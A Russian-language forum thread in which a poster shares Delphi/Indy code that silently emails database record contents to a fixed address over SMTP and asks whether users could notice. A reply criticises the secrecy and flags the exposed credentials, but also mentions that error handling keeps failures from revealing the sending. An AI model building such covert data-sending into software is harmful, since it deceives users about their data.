|
|
Регистрация | << Правила форума >> | FAQ | Пользователи | Календарь | Поиск | Сообщения за сегодня | Все разделы прочитаны |
|
Опции темы | Поиск в этой теме | Опции просмотра |
#1
|
|||
|
|||
Скрытая отправка E-mail: возможно ли заметить?
Всем привет! Имеется БД. При добавлении записи в таблицы требуется чтобы поля были сформированы в 1 письмо и отправлены на определенный e-mail. Я реализовал таким способом, проверил - работает.
(Delphi 7+Indy последний SVN+xNetDetect): Код:
procedure TNewEdit.XNetDetect1ConnectionStatus(Sender: TObject; isConnected: Boolean); var M: TIdMessage; begin if isConnected then begin M := TIdMessage.Create(NewEdit); M.Body.Add('Типа первая строчка собщения'); M.Body.Add('Типа вторая строчка собщения'); M.From.Text:= WinToKoi('"Тест"')+' <******@mail.ru>'; //отправитель M.Recipients.Add; M.Recipients.Items[0].Text:=WinToKoi('"Тест"')+' <*****@mail.ru>'; //Получатель M.Subject:=WinToKoi('Тестовая тема письма'); //Тема письма IdSMTP1.Host:='smtp.mail.ru'; IdSMTP1.Username:= '******'; // - логин на исходящую почту IdSMTP1.Password:= '****'; // - пароль на исходящую почту IdSMTP1.Connect; IdSMTP1.Authenticate; if IdSMTP1.Connected then begin IdSMTP1.Send(M); {ShowMessage('Отправлено');} //тестирование отправки end; IdSMTP1.Disconnect; end; end; |
#2
|
||||
|
||||
1.Поставить блок исключения на отправку т.к. если по какой-либо причине произойдет ошибка то тайное станет явным.
2. Почему собственно пользователь не должен знать об этом? Пользователь очень даже может обидится, на шпиона и будет прав. 3. Поскольку вы открыто храните все почтовые данные, вплоть до пароля, то выцепить эти данные из проги не составит труда. 4. Если на компе стоит Антивирус с мониторингом сетевой активности, то скорее всего тайное станет явным. Жизнь такова какова она есть и больше никакова. Помогаю за спасибо. |